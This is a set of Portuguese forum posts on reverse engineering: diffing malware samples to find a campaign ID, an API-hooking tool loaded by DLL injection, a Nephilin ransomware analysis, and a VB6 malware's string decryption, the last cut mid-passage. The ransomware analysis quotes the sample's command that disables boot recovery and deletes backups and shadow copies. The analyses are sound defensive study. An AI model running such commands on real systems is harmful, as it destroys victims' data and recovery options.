readpe_output_ff53c7ba285ffdc2c29683bb79bb239ea59b3532f8b146523adf24d6d61fc640.txt readpe_output_ffee504e292a9f3ae6c439736881ebb314c05eac8b73d8b9c7a5a33605be658e.txt Eu usei o readpe sem nenhuma opção, assim ele imprime todos os cabeçalhos, incluindo os de seções. Só pra começar fiz um diff do primeiro para o segundo e não houve qualquer saída, ou seja, a estrutura dos arquivos eram idênticas! E eram mesmo: $ wc -c readpe_output_* 21627 readpe_output_fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04.txt 21627 readpe_output_fdf3060eb9c39b1a2be168b1ac52c2f80171394e73fe03c4e0c57911cb9358a9.txt 21627 readpe_output_fedf9d9815b3d0ad28e62f99d5dcf92ec0f5fcb90135b4bdc30bb5709ab9ff05.txt 21627 readpe_output_ff2f1be6f64c91fa0a144cbc3c49f1970ba8107599d5c66d494ffb5550b0f7fd.txt 21627 readpe_output_ff53c7ba285ffdc2c29683bb79bb239ea59b3532f8b146523adf24d6d61fc640.txt 21627 readpe_output_ffee504e292a9f3ae6c439736881ebb314c05eac8b73d8b9c7a5a33605be658e.txt 129762 total $ md5 !$ md5 readpe_output_* MD5 (readpe_output_fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04.txt) = 05b36b89b1165b3d619bee16f8a1d7f7 MD5 (readpe_output_fdf3060eb9c39b1a2be168b1ac52c2f80171394e73fe03c4e0c57911cb9358a9.txt) = 05b36b89b1165b3d619bee16f8a1d7f7 MD5 (readpe_output_fedf9d9815b3d0ad28e62f99d5dcf92ec0f5fcb90135b4bdc30bb5709ab9ff05.txt) = 05b36b89b1165b3d619bee16f8a1d7f7 MD5 (readpe_output_ff2f1be6f64c91fa0a144cbc3c49f1970ba8107599d5c66d494ffb5550b0f7fd.txt) = 05b36b89b1165b3d619bee16f8a1d7f7 MD5 (readpe_output_ff53c7ba285ffdc2c29683bb79bb239ea59b3532f8b146523adf24d6d61fc640.txt) = 05b36b89b1165b3d619bee16f8a1d7f7 MD5 (readpe_output_ffee504e292a9f3ae6c439736881ebb314c05eac8b73d8b9c7a5a33605be658e.txt) = 05b36b89b1165b3d619bee16f8a1d7f7 Os hashes MD5 da saída em texto da estrutura de todos os arquivos batem. Eles são mesmo iguais estruturalmente! Passado o choque, percebi que teria que comparar o conteúdo das seções (código, dados, talvez resources, etc). Aí fui obrigado a inicializar minha VM do Janelas mesmo... Comparação do conteúdo das seções Existem alguns softwares que trabalham com PE e possuem funções de comparação de dois executáveis. Eu costumava usar o Cold Fusion (um antigo gerador de patch) pra isso, mas ele tem alguns bugs que me impediram. Achei a mesma função no Stud_PE, mas ele localiza arquivos por extensão na janela de comparação, então renomeei o primeiro e o segundo arquivo que tinha para a.exe e b.exe respectivamente. Ao abrir o a.exe no Stud_PE, usei o botão "File Compare", selecionei o método "Binary", setei o "Starting from" pra "Raw" e cliquei em "Compare": Se você não entendeu por que fiz isso, volte uma casa ou leia os tutorias de PE que indiquei. Ou pergunte que eu falo. ? Bem, entre esses dois caras então havia 9 bytes que o diferenciavam e eu já tinha os offsets a partir do início do arquivo. Agora é descobrir em que seção eles estavam no PE, o que são, o que comem e como eles vivem. ? Descobrindo como as diferenças são usadas Abri o executável no x64dbg (na verdade no x32dbg, já que este binário é de 32-bits) mas percebi que o entrypoint estava no endereço 013706AA. Como o ImageBase deste binário é 00400000, percebi que o ASLR estava habilitado e, antes de continuar , desabilitei-o com o DIE, como mostro neste vídeo rápido no canal Papo Binário: Antes de reabrir o binário no x32dbg, convém lembrar que eu tinha um offset e precisava convertê-lo para endereço virtual (VA). Isso é feito com o que alguns analisadores de PE chamam de FLC (File Location Calculator). O DIE tem, o Stud_PE tem e o pev também tem, com a ferramenta ofs2rva: $ ofs2rva 0x4c451 a.exe 0x4dc51 Mas pra não você não me acusar de saudosismo de novo, vou mostrar no Stud_PE ? Percebe que o Stud_PE já diz que este byte pertence à seção .rdata, o que à esta altura você já sabe, caso tenha feito o trabalho de casa de estudo do PE, que é provavelmente uma seção de dados somente-leitura, então há grandes chances de nossa sequência diferentona pertencer à uma string constante, por exemplo. Fui ver no debugger como é que tava a festa. Abri o a.exe lá e dei um Ctrl+G no Dump pra ir pro endereço 44DC51: De fato tinha uma string lá: zuk0KRrGrP, mas ela na verdade começava em 44DC44 e pra saber quando ela era usada no malware, coloquei um breakpoint de hardware no acesso ao byte, que é o primeiro da string e cheguei à conclusão de que, como o nome sugere, é realmente uma string de identificação da campanha do malware, sempre no mesmo offset (calculei de novo usando FLC). Agora foi só ver a dos outros e novamente recorri à uma ferramenta do pev (?), a pestr: $ for i in *; do echo $i; pestr -so $i | grep 0x4c444; echo; done fdba340bb35635934aa43b4bddd11df31f2204e73394b59756931aa2f7f59e04 0x4c444 .rdata identifierStrzuk0KRrGrP fdf3060eb9c39b1a2be168b1ac52c2f80171394e73fe03c4e0c57911cb9358a9 0x4c444 .rdata identifierStrAR0U4hr1wW fedf9d9815b3d0ad28e62f99d5dcf92ec0f5fcb90135b4bdc30bb5709ab9ff05 0x4c444 .rdata identifierStrswEYVkFWeg ff2f1be6f64c91fa0a144cbc3c49f1970ba8107599d5c66d494ffb5550b0f7fd 0x4c444 .rdata identifierStrKXaUzlBDIj ff53c7ba285ffdc2c29683bb79bb239ea59b3532f8b146523adf24d6d61fc640 0x4c444 .rdata identifierStrv91TJ5c3Lr ffee504e292a9f3ae6c439736881ebb314c05eac8b73d8b9c7a5a33605be658e 0x4c444 .rdata identifierStrOzJnvFQy2U Bom, daí o céu é o limite. Dá pra criar assinatura, criar um script pra extrair esse ID da campanha, enfim, missão cumprida. FAQ 1. Por que você não utilizou só um comparador de arquivos qualquer, que compara os bytes em hexadecimal? Eu queria saber exatamente onde estavam as diferenças entre os arquivos, se na estrutura ou não. Em caso negativo, é código? Se sim, que código? Que faz o que? São dados? Usados onde? Em qual seção? Um editor hexadecimal ignorantão não me daria isso. Além disso, se os arquivos fossem diferente estruturalmente, ou em tamanho, eu queria saber antes, pra não perder tempo analisando diferenças de bytes hexa que eu não sei o que é. 2. Existem softwares para comparar binários PE muito mais poderosos, como o BinDiff. Por que caralhas você não o usou? O BinDiff é pra comparar código. Minha diferença estava nos dados. Além disso, o BinDiff e seus amigos traduzem o Assembly original do binário para uma linguagem intermediária própria e comparam lógica, não instruções. É bem fodão, mas não me atendia neste caso, afinal eu já sabia que os binários eram idênticos em funcionalidade. Só queria saber onde estava a diferença exata. 3. Percebi pela screenshot do Stud_PE que ele também compara a estrutura dos arquivos PE, então todo aquele processo com o readpe foi à toa? Sim, foi só pra Inglês ver. Não, brincadeira! O Stud_PE compara os cabeçalhos COFF, Optional e os diretórios de dados somente. O readpe imprime todos os cabeçalhos, incluindo todas as seções mais os imports. É outro nível, moleque! ? 4. E quanto à executáveis ELF? O título não fala somente de PE propositalmente, já que a mesma técnica pode ser usada para arquivos ELF, só mudando os programas (readelf, etc). Por hora é só. Se você deixar sua análise abaixo ou quiser fazer um comentário/pergunta, ficarei muito grato. Considera apoiar a gente também vai. ?
  9. Vou começar agradecendo ao @Fernando Mercês pela oportunidade e por ter sugerido este artigo, que também me motivou bastante a escrevê-lo! Introdução Não sou conhecido internet a dentro, apenas acompanho alguns canais no Discord (tal como o do Mente Binária). Meu nível de programação e engenharia reversa não é algo admirável ainda. Em um grupo especifico intitulado "Terra do 1337", que é um grupo fechado de amigos com finalidade de estudar engenharia reversa, programação e descontrair, eu surgi com uma idéia de escrever uma ferramenta que iria facilitar a vida de muitos nesta área de engenharia reversa e achei de API Inspector. A seguir um spoiler de como foi o início do projeto, para quem se interessar. ? O que é o API Inspector É uma ferramenta de código-aberto voltada para área de engenharia reversa, que irá auxiliar na análise de funções correspondentes a certas API's do Windows, retornando informações obtidas dos argumentos caso a função seja chamada pela aplicação. O que ele faz Ele faz um hook (do Inglês "gancho"), que consiste num desvio na função original da API solicitada para nossa própria função e com isso podemos obter os dados (argumentos/parâmetros) que foram passados para tal função. Como ele funciona O princípio de um hook é simples: você insere no inicio da função um salto que irá levar para a sua função (que é uma cópia da função original) e depois de efetuar o que quiser, irá retornar para a função original prosseguir. Talvez mais fácil visualizar o que expliquei com código: //Aqui está a função //ZwWriteVirtualMemory | NtWriteVirtualMemory, originada do binário: ntdll.dll //créditos ao https://undocumented.ntinternals.net/ NTSYSAPI NTSTATUS NTAPI //WINAPI NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL ); //Sua versão assembly 777F2110 mov eax,0x3A 777F2115 mov edx,ntdll.77808D30 777F211A call edx 777F211C ret 0x14 //O que nós vamos fazer é criar uma função similar á ela com o nome que decidirmos //Então vamos inserir um jmp no início da função original para nossa função, ficando assim: 777F2110 jmp api inspector.573523EC 777F2115 mov edx,ntdll.77808D30 777F211A call edx 777F211C ret 0x14 //Usei como exemplo minha próprio ferramenta! //Então quando ocorrer a chamada desta função ela será jogada em nossa função! Depois de nós fazermos que desejar vamos retorna-la, porém para uma região que aloquei onde contém //Um buffer dos bytes que foram sobrescritos da função original: 03610000 mov eax,0x3A 03610005 jmp ntdll.777F2115 //Ela irá retornar depois do jmp que existe na função original e continuar o código.... Vantagens de se utilizar o API Inspector ao invés de um debugger Imagine que você está visualizando as chamadas intermodulares (para bibliotecas externas, no caso) que um programa faz, utilizando um debugger (o x64dbg por exemplo) e notou que uma certa função que deseja inspecionar é chamada em diversos pontos do programa. Vejo duas opções neste caso: colocar vários breakpoints, um em cada chamada à função, no código do programa ou colocar um único breakpoint função em si, no código dela, na DLL. Em ambos os casos, você vai precisar analisar chamada por chamada, parâmetro por parâmetro. E se a função for chamada 20 vezes consecutivamente? O tempo que você levaria para visualizar apenas o primeiro parâmetro da chamada é o tempo que a ferramenta iria levar para exibir todas as 20 chamadas, com os argumentos formatados bonitinhos ao seu dispor. Entende a vantagem? ? E as desvantagens? Por hora, uma desvantagem é a quantidade de funções e API's suportadas. De fato, a primeira release não possui uma quantidade significativa que vá fazer você utilizar a ferramenta e nem uma quantidade de recursos interessantes na ferramenta. Mas é ai que vem o ponto chave, o fato de deixar ela pública remete ao próprio crescimento da mesma, no primeiro momento é necessário uma orientação da parte de vocês para me ajudar a melhorar o código visual. O segundo passo é eu e vocês começarem a fornecerem mais recursos para ela. Eu irei adicionar todo ou qualquer recurso que seja significativo para a mesma, e para isso eu já tenho mais funcionalidades para implementar na ferramenta que são excelentes. Interface gráfica Na imagem abaixo, utilizei o API Inspector para hookar a função MessageBoxW() da USER32.DLL. Depois disso, escrevi um texto num novo arquivo no Notepad++ e tentei fechar o programa. Ao fazer isso, o Notepad++ perguntou se eu queria salvar o arquivo e ele faz isso através de uma chamada à MessageBoxW(), que o API Inspector interceptou prontamente. Na imagem acima, a janela à esquerda mostra o que está atualmente passando pelas funções hookadas. Na janela a direita, temos um log. Como utilizar o API Inspector A única coisa que você precisa fazer é anexar a DLL do API Inspector ao processo desejado e para isso existem os softwares chamados "Injetores de DLL" que podem ser achados na internet. Você também pode criar o seu próprio injetor. Uma dica é pesquisar sobre injeção com a função LoadLibrary(), mas no exemplo a seguir eu vou mostrar como utilizar o Process Hacker para fazer a injeção. 1 - Abra o Process Hacker e identifique no mesmo o processo no qual você quer injectar a DLL do API Inspector. No exemplo, usei o processo do Notepad++. 2 - Clique com o botão direito sobre o processo e escolha Miscellaneous > Inject DLL. 3 - Selecione a DLL API-Inspector.dll e clique em Abrir. 4 - Se o Process Hacker possuir privilégios suficientes a ferramenta irá ser carregada, caso contrário, não. Após isso você precisa selecionar a API desejada, a função desejada e clicar em GO Hook! O step call é uma funcionalidade que vai fazer a ferramenta aguardar o pressionamento da tecla ENTER para retornar para a função original. Pronto, o seu hook está feito e você já poderá inspecionar a função desejada. Download e código No repositório do API Inspector no Github você pode baixar a versão compilada e ter acesso ao código-fonte também. Contribuições são muito bem vindas! Bom, eu nunca tinha escrito um artigo. Se faltou informação ou coloquei informação demais me desculpe. Estou aberto pra ler os comentários. Ah, e participem deste projeto! Eu quero fazer ele crescer muito. Caso precise de referências de como cheguei a este projeto, tem tudo na página inicial do projeto no Github. Agradecimentos Obrigado novamente ao Fernando Mercês, ao pessoal do Terra 1337 que me incentiva cada vez mais e em especial para o iPower e Luan que são colaboradores do projeto. Referências Dear ImGui Programming reference for the Win32 API NTAPI Undocumented Functions C++ 3D DirectX Programming
  10. Faz algum tempo que ando botando mais a mão na massa na parte prática da análise de malware e nos conceitos que a envolvem. Este fato somado com minha paixão por tomar notas nos meus estudos acaba resultando na criação de alguns relatórios. Com isto em mente, decidi colocar aqui a análise do último sample no qual trabalhei, de um ransomware chamado Nephilin. Overview O Nephilin é uma variante do Nefilim, um Ransomware que acabou ficando bem conhecido no mês de fevereiro/março devido ao fato de ser uma variante do conhecido Nemty, que costumava trabalhar com operações de RaaS (Ransomware as a Service - um modelo de negócio utilizado por criminosos que facilita muito a distribuição de Ransomwares. Basicamente o criador do malware recruta pessoas para usarem o Ransomware e recebe uma parte de seus lucros, facilitando assim a distribuição e a entrada de pessoas não experientes no crime). Por mais que as formas de operação sejam diferentes, há similaridades de código entre essas três famílias de malware. Análise Estática O sample analisado foi compilado para x86 e não possui nenhuma técnica que possa dificultar nossa análise como por exemplo packers/protectors e o uso de ASLR. No entanto, este binário é assinado com um certificado válido: Olhando os imports podemos notar que a Import Directory Table possui apenas uma entrada, a da kernel32.dll, levantando a suspeita da utilização de runtime linking, ou seja, o loader não resolve o endereço das funções em tempo de carregamento, pois eles são resolvidos em tempo de execução: Podemos suspeitar ainda mais pelo fato do nome algumas DLLs estarem na lista de strings do binário, assim como o nome de algumas funções que não são exportadas pela kernel32.dll: Não vou me preocupar muito com esta parte estática da análise, tendo em vista que a ideia deste artigo é cair de cabeça em cada funcionalidade do malware, isto é, executá-lo e ir analisando seu comportamento. Análise Dinâmica A primeira função que o malware chama é a que vai criar todo o contexto de criptografia para gerar uma chave que será a chave utilizada para descriptografar a Ransom Note: Dentro desta função existem várias funções que permitem trabalhar com criptografia no Windows. A primeira função criptográfica chamada é a CryptAcquireContext, responsável por criar um handle para um key container dentro de um Cryptographic Service Provider (CSP). Após pegar o handle, o tamanho de uma string é calculado para posteriormente se criar e retornar um Hash Object dentro do CSP criado anteriormente. Esta string tem 66 bytes de tamanho (0x42 em hexa) e é uma string lotada de "a". A função CryptCreateHash cria o Hash Object especificando o tipo como SHA1 e, logo depois, a função CryptHashData tira o hash do que está dentro de um buffer de tamanho 66 bytes sendo passado como parâmetro: Por fim, o SHA1 gerado é derivado, para a geração de uma chave RC4. Como podemos ver quase todas as funções estão sendo importadas dinamicamente. ? O que acontece após a função que gera esta chave RC4 é a criação de um Mutex com o nome "sofos delaet sosos": Em seguida, uma string em base64 aparece e é decodada com a função CryptStringToBinary, resultando em uma chave pública RSA: "BgIAAACkAABSU0ExAAgAAAEAAQDNFw18bUF1x32DZaZt4gnQtAnv5XH60d9B6UgIbVfRdHPeyEljZLKlGBKFPTsh+8xsDHe/9vynuOlnuPt91grReMAwcTDVkxBh/PDkf3Jq0bnFgZAWbgMvGX6lApXTDcTArf4US63VI3z8YPyDNJwEvBEWI13ywob8ECLsrD/C6BPkYG0mBU1ccixzOgkgad0iDvwS/C8iyW1Mi0PCoBa+3TCTVwt0Zpy/HceV5U7SevG7RRN5HrErv54Ihg6kTPPhdxkYdO+CUND19aLqh8MAVLRuP5hR6b6r7cjBNAW2+USaaMyT/llNXdPdySbatLlH6Mau4z1eqzYc7hMB2f+6" Há depois uma tentativa de pegar um handle para um CSP onde o key container tem o nome "rsa session" e, sem sucesso, o binário cria um novo chamado "skr skr skr": Agora a chave pública decodada anteriormente será importada para o contexto "skr skr skr": Ações padrão da maioria dos ransomwares incluem desabilitar a checagem de erros durante o boot, desabilitar o modo de recuperação, deletar backups, etc. O Nephlin faz isso através de uma chamada à função ShellExecuteA() passando uma linha com o cmd.exe como parâmetro: "C:\\asdfgsdgasd\\..\\Windows\\asdgagsahsfahfhasahfsd\\..\\System32\\cmd.exe" "/c bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wmic shadowcopy delete" Aqui foi utilizada uma abordagem um tanto curiosa, tendo em vista que o malware considera diretórios que provavelmente não existirão no sistema de arquivos da vítima ("asdgagsahsfahfhasahfsd", por exemplo) e sobe um nível no filesystem utilizando ".." para acessar de fato o que importa, ou seja, o caminho real seria simplesmente "C:\Windows\System32\cmd.exe" ? Neste momento acontece uma checagem em relação à como o malware foi executado na linha de comando. Se foi passado algum parâmetro, ele checa pra ver se é um arquivo ou diretório. Se for um arquivo, ele chama direto a função que encripta. Caso seja um diretório, ele chama a função que checa uma lista de exclusão dos tipos de arquivos que ele não quer encriptar e esta função chama então a função que encripta. É interessante notar que com essas checagens o ransomware pode ser usado em diversos cenários e não simplesmente para encriptar o sistema completamente. Ex: para manualmente testar se ele está funcionando (antes da possível invasão), ser executado manualmente após a invasão visando diretórios/arquivos específicos, etc: Se nenhum parâmetro for passado via linha de comando, o binário começa a mapear os drives que estão no sistema e pegar seus tipos, buscando especificamente por drives fixos, removíveis (pen drives, etc) e mapeamentos de rede: Após pegar o drive o seu nome é concatenado com a string "NEPHILIN-DECRYPT.txt", à fim de criar a Ransom Note na raiz do Drive em questão: Após a chamada à CreateFile, podemos ver a Ransom Note sendo criada, mas vazia por enquanto: Antes do conteúdo ser de fato escrito no arquivo, ele precisa ser decodado, tendo em vista que é uma string em base64 (sim, outra string em base64): Abaixo está o buffer que contém o conteúdo da Ransom Note em base64: Após decodar o base64 o buffer aparenta estar encriptado, e de fato está: A função CryptDecrypt utiliza a chave RC4 gerada anteriormente para decriptar o conteúdo do buffer em questão. Podemos ver o conteúdo em clear text após a execução da função: Por fim podemos ver a função WriteFile, que irá escrever o conteúdo no arquivo "NEPHILIN-DECRYPT.txt" criado anteriormente: Agora que a Ransom Note foi criada, o processo de criptografia começa. O meio utilizado é através da criação de outra thread, isto é, para cada drive encontrado, uma nova thread é criada. A função CreateThread recebe como parâmetro para indicar seu início o endereço de uma função, que por sua vez chama a função que checa a lista de exclusão e depois começa a criptografia. Além disso, o nome do drive escolhido no momento é passado como parâmetro para esta função. Esta lista de exclusão é basicamente um lista que contém nomes de arquivos, diretórios e extensões das quais o malware não irá encriptar. Para cada arquivo encontrado o malware irá comparar com as especificações desta lista e, caso não bata, a função de criptografia será chamada: Criptografia A criptografia pode começar de 3 formas diferentes, como mencionado anteriormente: passando um arquivo como parâmetro pela linha de comando, passando um diretório ou mapeando os drives e criando threads. Um trecho da função que faz as devidas checagens pode ser observada abaixo: Se o arquivo checado não estiver na lista de exclusão, a função de criptografia é chamada: O processo de criptografia se inicia com a abertura do arquivo em questão e a obtenção do seu tamanho. Depois disso, há duas chamadas para a função SystemFunction036 para gerar números aleatórios. Basicamente esta função é um alias para a função RtlGenRandom, que recebe como parâmetro um buffer e o tamanho do número aleatório que você quer gerar. O tamanho escolhido são 16 bytes (0x10): Tendo 2 buffers de 10 bytes de tamanho cada, com os devidos números aleatórios gerados anteriormente, há duas chamadas à CryptEncrypt, uma para cada buffer. Aqui a chave pública RSA é utilizada para encriptar o buffer em questão, resultando em outros dois buffers de 256 bytes cada. O conjunto de funções a seguir faz a mesma operação, mas apontando para lugares diferentes. A função SetFilePointerEx é utilizada para apontar para o fim do arquivo (baseando-se no tamanho obtido anteriormente) e depois a função WriteFile é utilizada para escrever os 256 bytes encriptados lá. A próxima chamada à SetFilePointerEx agora aponta para o fim do arquivo + 256 bytes e então escreve o segundo buffer encriptado onde o ponteiro está apontando. Neste momento as checagens de tamanho de arquivo começam, assim como as chamadas de função e loops que envolvem a criptografia. A primeira checagem feita é se o arquivo é maior que 64MB e, caso seja, as funções que criptografam o arquivo começam a ser chamadas de 125KB em 125KB. Caso o arquivo seja menor há uma outra checagem para ver se ele é menor que 1.2MB e caso ele não seja as funções de criptografia rodam em cima de 600KB apenas e finalizam. Caso o arquivo seja menor que 1.2MB ele é encriptado "de uma vez" e depois finaliza. Para cada arquivo é gerada uma chave randômica com a função SystemFunction036 e depois esta é encriptada com a chave RSA pública. Esta abordagem dificulta bastante a criação de um decryptor, tendo em vista que a chave será sempre aleatória. Por outro lado, se tivemos a chave RSA privada em mãos a aleatoriedade não teria efeito nenhum pois para cada arquivo teríamos a chave responsável pela sua criptografia. Por fim a extensão ".NEPHILIN" é adicionada ao arquivo aberto: Uma coisa importante a se notar é que se a criptografia foi executada para um arquivo ou diretório específico tanto a Ransom Note quanto o wallpaper do Ransomware não são criados. Podemos observar que as funções de mapeamento de drives (que contém a criação da Ransom Note) e criação do papel de parede são ignoradas devido ao salto incondicional JMP: E por fim... Considerando ainda que não foram especificados arquivos e diretórios, a função responsável por criar a imagem do papel de parede é chamada. Há várias funções aqui e estas utilizam funções gráficas do Windows para editar a imagem em questão: Uma das funções chamadas nesta função responsável por criar a imagem é justamente a função de decoda o base64 da Ransom Note, pois o que é escrito no papel de parede é a mesma coisa da Ransom Note. Após várias funções gráficas para preparar a imagem o arquivo é finalmente criado em %TEMP%, com nome god.jpg e seu conteúdo é escrito no arquivo: Após configurar a imagem como papel de parede, o malware chama sua última função, que é responsável por fechar todos os handles e contextos de criptografia ainda pendentes: Depois disso, o processo simplesmente sai retornando 0. Lista de exclusão: NEPHILIN-DECRYPT.txt $RECYCLE.BIN NTDETECT.COM MSDOS.SYS IO.SYS boot.ini AUTOEXEC.BAT ntuser.dat desktop.ini CONFIG.SYS BOOTSECT.BAK program files program files (x86) windows ntldr RECYCLER bootmgr programdata appdata .dll .NEPHILIM .exe .log .cab .cmd .com .cpl .ini .url .ttf .mp3 .pif .mp4 .msi .lnk Espero que o estudo desta análise seja proveitoso assim como foi para mim e qualquer dúvida/feedback estou à disposição! Abraços!
  11. until
    Dia 02/04/2019 (terça) tivemos o lançamento oficial do Visual Studio 2019, com o anúncio de inúmeras novidades envolvendo o desenvolvimento de soluções baseadas em tecnologias como Azure DevOps, .NET Core, ASP.NET Core, C# e PowerShell. Assim como aconteceu em outras ocasiões, a Microsoft novamente fará uma parceria com comunidades técnicas através da realização de eventos locais. O DevOps Professionals em conjunto com a FC Nuvem também participa desta iniciativa, com um EVENTO PRESENCIAL e GRATUITO Programação prevista (grade sujeita a alterações): - Novos Recursos para Debugging no Visual Studio 2019 + Suporte a Docker no .NET Core 3.0 - Renato Groffe (Microsoft MVP) - Dicas e truques com Azure e Azure DevOps no Visual Studio 2019 - Vinicius Moura (Microsoft MVP) - Colaboração Contínua com o Visual Studio Live Share - Milton Câmara Gomes (Microsoft MVP) - Indo além de ambientes Windows com PowerShell Core, Linux e Visual Studio Code - Ewerton Jordão (.NET SP, SampaDevs) Acompanhe e apoie esta iniciativa, divulgando e indicando o Visual Studio 2019 Launch para amigos e colegas de trabalho! Mais informações: https://www.sympla.com.br/visual-studio-2019---lancamento---devops-professionals--fc-nuvem__525409
  12. Boas, já procurei mas ainda não consegui fazer o que pretendo, que é o seguinte : Fazer um programa em C que procura por uma Key no registro do windows, se essa key existir "do something" else "do something". Alguém me pode dar umas luzes de como posso fazer isso, por favor ? obrigado
  13. Mês passado eu postei no blog uma análise básica de um malware brasileiro que recebi por e-mail. Algumas pessoas se ofereceram para continuar a análise mas não o fizeram, por motivos diversos. Eu tomei vergonha e achei uma máquina virtual com o XP e alguns programas velhos que ajudariam na análise. Este artigo é o meu relato sobre esse malware. No post do blog cheguei a identificar que o malware tinha UPX [1], então neste artigo vamos partir da remoção do packer: $ wc -c IMG2005M.exe 58880 IMG2005M.exe $ upx -dqq IMG2005M.exe 102400 <- 58880 57.50% win32/pe IMG2005M.exe $ wc -c IMG2005M.exe 102400 IMG2005M.exe Ainda no Linux, fui atrás do entry point do binário com o pev [2]: $ pev -o IMG2005M.exe | grep -iA3 entry Entry point: 0x1758 Address of CODE section: 0x1000 Address of DATA section: 0x10000 Imagebase: 0x400000 Soma-se o EP à ImageBase e tem-se o offset do EP: 0x401758. Daqui pra frente resta muito pouco a se fazer com ferramentas nativas do Linux já que o binário é de Windows e o pev ainda não disassembla. Em seguida eu abri uma VM com Windows XP para ver a cara do inimigo: Brincalhão esse coder hein? Detalhe para o ícone de fotos no EXE – usuário leigo cai fácil. Depois usei o RDG Packer Detector [3] para tentar descobrir o compilador utilizado no arquivo, se há alguma criptografia conhecida envolvida, hashes etc: O RDG detectou que é um binário compilado em Visual Basic 6.0, em código nativo. Pelo visto era só o UPX mesmo pois o RDG não detectou mais nada. No entanto, são suposições… Usando o OllyDbg [4], abri o malandro, e sempre a primeira coisa que vem em minha mente binária é buscar pelas strings hardcoded no executável. As strings dentro de um executável podem dizer *muito* sobre ele. Vale sempre a pena “passar o olho” nelas. No Olly é bem simples buscá-las: basta clicar com o botão direito e ir em “Search for -> All referenced strings”. Várias strings foram encontradas (referenced-strings.txt). Destaco algumas: UNICODE “*AC:Documents and SettingsMasterDesktopProfessor PardalSummer_TRSSummer_TRS.vbp” ASCII “GetLocaleInfoA” ASCII “GetUserDefaultLCID” UNICODE “6655475C45405C58521B606F53535577515F505640625441” UNICODE “625F5B06076B7A465047524C58585F6B4A46415059” UNICODE “695B5E545F470707584D1D4C5C46” A primeira string, bem, acho que dispensa comentários né? Em seguida duas funções da API do Windows para identificação do idioma. Seria particularmente interessante um malware brasileiro ter versões do Windows em português como alvo? As outras três eu escolhi aleatoriamente. Acontece que criadores de malware sabem que precisam proteger suas strings, do contrário, muita coisa ficaria exposta a qualquer curioso que souber utilizar o comando strings do *n?x ou funções como essa do OllyDbg. Como há várias strings similares a essas três no binário, aposto que são strings encriptadas pelo programador do malware. Você não? =P De volta à tela do disassembly (ALT+C), parado bem no EP: 00401758 PUSH 00401850 0040175D CALL <JMP.&MSVBVM60.#100> ;Jump to MSVBVM60.ThunRTMain O jeito como o compilador constrói o executável é importante. No caso do VB é desse jeito acima: coloca-se um endereço na pilha e chama uma função da biblioteca. Esse endereço PUSHado é o offset de uma estrutura que define todo o programa em VB. Olhando a estrutura em 0x401850 no dump, dá pra identificar o offset do ProjectStruct (vem após esse 0x409): 00401850 56 42 35 21|F0 1F 56 42|36 45 53 2E|44 4C 4C 00| VB5!ðVB6ES.DLL. 00401860 00 00 00 00|2A 00 00 00|00 00 00 00|00 00 00 00| ….*……….. 00401870 00 00 0A 00|0A 0C 00 00|09 04 00 00|D0 AE 40 00| ………..Ю@. 00401880 D8 1B 40 00|00 F8 30 00|00 FF FF FF|08 00 00 00| Ø@..ø0..ÿÿÿ… Então fui para o endereço 0x40AED0 no disassembler (CTRL+G) e coloquei um breakpoint (F2) logo no início da função. Aí foi só seguir com o F8 até chegar numa call que parecia interessante pois era uma chamada de função interna em 0x40AF1C. 0040AF16 MOV EAX, DWORD PTR SS:[LOCAL.5] 0040AF19 PUSH EAX 0040AF1A MOV ECX, DWORD PTR DS:[EAX] 0040AF1C CALL DWORD PTR DS:[ECX+1C] (0x40B450) 0040AF1F TEST EAX, EAX 0040AF21 FCLEX Ao entrar nessa call, caí em 0x40B450. Nessa função dá pra ver uma daquelas strings doidas sendo operada em 0x40B4B7. Foi ali mesmo que coloquei um breakpoint e mandei rodar (F9). 0040B4B0 MOV DWORD PTR SS:[LOCAL.1], 3 0040B4B7 MOV EDX, 00402664 ; UNICODE “6655475C45405C58521B606F53535577515F505640625441” 0040B4BC LEA ECX, [LOCAL.11] 0040B4BF CALL DWORD PTR DS:[<&MSVBVM60.__vbaStrCopy>] 0040B4C5 LEA EAX, [LOCAL.11] 0040B4C8 PUSH EAX 0040B4C9 LEA ECX, [LOCAL.17] 0040B4CC PUSH ECX 0040B4CD CALL 0040AF60 0040B4D2 PUSH 0 0040B4D4 LEA EDX, [LOCAL.17] 0040B4D7 PUSH EDX 0040B4D8 LEA EAX, [LOCAL.12] 0040B4DB PUSH EAX 0040B4DC CALL DWORD PTR DS:[<&MSVBVM60.__vbaStrVarVal>] 0040B4E2 PUSH EAX 0040B4E3 LEA ECX, [LOCAL.21] 0040B4E6 PUSH ECX Fui seguindo com F8 e quando passei da chamada para __vbaStrVarVal em 0x40B4DC não é que a string se transformou?! O que era “6655475C45405C58521B606F53535577515F505640625441” virou “Scripting.SWbemObjectSet”, mas como? Os olhos aqui têm que estar afiados. Se liga: $ echo -n 6655475C45405C58521B606F53535577515F505640625441 | wc -c 48 $ echo -n Scripting.SWbemObjectSet | wc -c 24 A string encriptada tem o dobro do tamanho. Além disso, parecem ser bytes hexa já que todos os dígitos vão de 0 a F. Mas se você achou que o Professor Pardal simplesmente usou os bytes hexa de cada caracter da string original para encriptá-la, se enganou. É um pouquinho mais trabalhado. hehehe Repara que antes da string ser desencriptada, o fluxo de execução só passou por uma função local, uma call em 0x40B4CD para 0x40AF60. As outras são funções da MSVBVM60.DLL. Portanto pude supor que é nesta função que está a rotina de desencriptação, coloquei um breakpoint lá e comecei tudo de novo… Essa função que desencripta (0x40AF60) é relativamente grande. Vou resumir o que ela faz: O primeiro loop (de 0x40B08F a 0x40B123) cria a seguinte string fixa gigante que será usada mais à frente: “5655545655381688355541151683736525351505152535455336435363716816838424040414195431239696123125941259” Por que usar um loop para criar uma string fixa ao invés de declará-la hardcoded? Essa string é a chave para descriptografar todas as outras. O Professor Pardal não a deixaria tão solta. Se tiver curiosidade de descobrir como ela é gerada vai ser um ótimo treino, principalmente pra quem está começando. Qualquer coisa tô pelo Twitter. O segundo loop pega dois caracteres da string encriptada e os interpreta de uma vez como um byte hexadecimal (um número). Depois disso, XOReia (tem gente que fala mIgUxOO) este número com o equivalente númerico do caractere da string chave na mesma posição. Complicou? Vamos a um exemplo… String encriptada: 665547 1. Pegam-se dois caracteres da 